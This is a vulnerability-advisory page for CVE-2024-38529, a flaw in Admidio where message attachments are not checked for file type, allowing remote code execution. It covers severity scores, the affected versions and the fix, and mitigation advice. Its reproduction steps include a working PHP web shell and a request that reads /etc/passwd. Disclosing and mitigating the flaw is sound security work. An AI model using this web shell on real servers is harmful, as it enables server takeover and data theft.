CVE-2024-38529 is a critical-severity (CVSS 9) Unrestricted File Upload vulnerability in admidio/admidio. A fix is available for admidio/admidio — see the affected versions and patch details below.
Admidio Vulnerable to RCE via Arbitrary File Upload in Message Attachment
Exploitation Status
Proof-of-concept exploit code exists
- CISA’s SSVC triage found public proof-of-concept exploit code for this CVE, though no confirmed active exploitation.
- A successful exploit gives an attacker total control of the affected component, not partial access.
Exploitation and automatability from CISA’s SSVC triage for CVE-2024-38529.
EPSS Exploitation Probability
Probability of exploitation in the next 30 days, from FIRST.org EPSS.
How urgent is this, really
Where this sits among everything scored
Real-World Exposure
admidio/admidioReal-time download stats are indexed for npm and PyPI packages. This vulnerability affects Packagist packages — download data is not available via public APIs for these ecosystems.
Description
Description:
Remote Code Execution Vulnerability has been identified in the Message module of the Admidio Application, where it is possible to upload a PHP file in the attachment. The uploaded file can be accessed publicly through the URL {admidio_base_url}/adm_my_files/messages_attachments/{file_name}.
The vulnerability is caused due to the lack of file extension verification, allowing malicious files to be uploaded to the server and public availability of the uploaded file.
An attacker can upload a PHP web shell that executes OS commands on the server, compromising the application server.
Note: I am using the docker-compose.yaml file from https://github.com/Admidio/admidio/blob/master/README-Docker.md#docker-compose-usage official documentation.
Impact:
An attacker can exploit this flaw to upload a PHP web shell, which can be used to execute arbitrary commands on the server. This can lead to a complete compromise of the application server, allowing the attacker to:
- Execute arbitrary code or commands.
- Access, modify, or delete sensitive data.
- Install malicious software or scripts.
- Gain further access to internal networks.
- Disrupt services and applications hosted on the server.
Recommendation:
- Implement strict file extension verification to ensure that only allowed file types (e.g., images, documents) can be uploaded.
- Reject any file upload with disallowed or suspicious extensions such as .php, .phtml, .exe, etc.
Steps to Reproduce:
- As a member user, go to write an email message.
- Upload a PHP file in the Attachment, containing the following content:
<?php
$command = isset($_GET['command']) ? $_GET['command'] : '';
$output = [];
$return_var = 0;
exec($command, $output, $return_var);
echo '<h1>Exploiting RCE</h1>';
echo 'Command: '.$command;
echo '\n<pre>';
echo implode("\n", $output);
echo '</pre>';
?>
- Send the email.
- In the message history go to the sent message.
- Download the file, to get the uploaded file name.
- Go to the following URL:
{admidio_base_url}/adm_my_files/messages_attachments/{file_name}?command=cat+/etc/passwd - The server's passwd file would be returned in the response.
Proof Of Concept:
Figure 1: Code of messages_send.php, not having file extension verification.
Figure 2: Uploading Webshell as attachment.
Figure 3: Download the uploaded file to get the uploaded file name.
Figure 4: Uploaded File name.
Figure 5: RCE via web shell.
Figure 6: RCE via Webshell.
Affected Packages
| Ecosystem | Package | Vulnerable range | Fix |
|---|---|---|---|
| 🐘Packagist | admidio/admidio | all versions | 4.3.10composer require admidio/admidio:^4.3.10 |
Affected Products
admidioadmidioDetection & mitigation playbook
Open-source dependencyDetect
Scan your dependency tree (package-lock.json, pnpm-lock.yaml, requirements.txt, go.sum, etc.) for admidio/admidio, including transitive dependencies — a direct dependency you never call can still pull in a vulnerable version.
Fix
Update admidio/admidio to 4.3.10 or later, then make sure no transitive (indirect) dependency still pins the vulnerable range — O3 confirms CVE-2024-38529 is resolved across your whole dependency graph.
Workarounds
Treat uploaded files as untrusted until proven otherwise: validate the actual content type rather than the supplied extension, store uploads outside the web root on a volume mounted without execute permission, and rename them to server-generated identifiers so an attacker cannot choose the path a request will later resolve.
Frequently Asked Questions
Is CVE-2024-38529 in your dependencies?
Find it across Packagist, including transitive dependencies.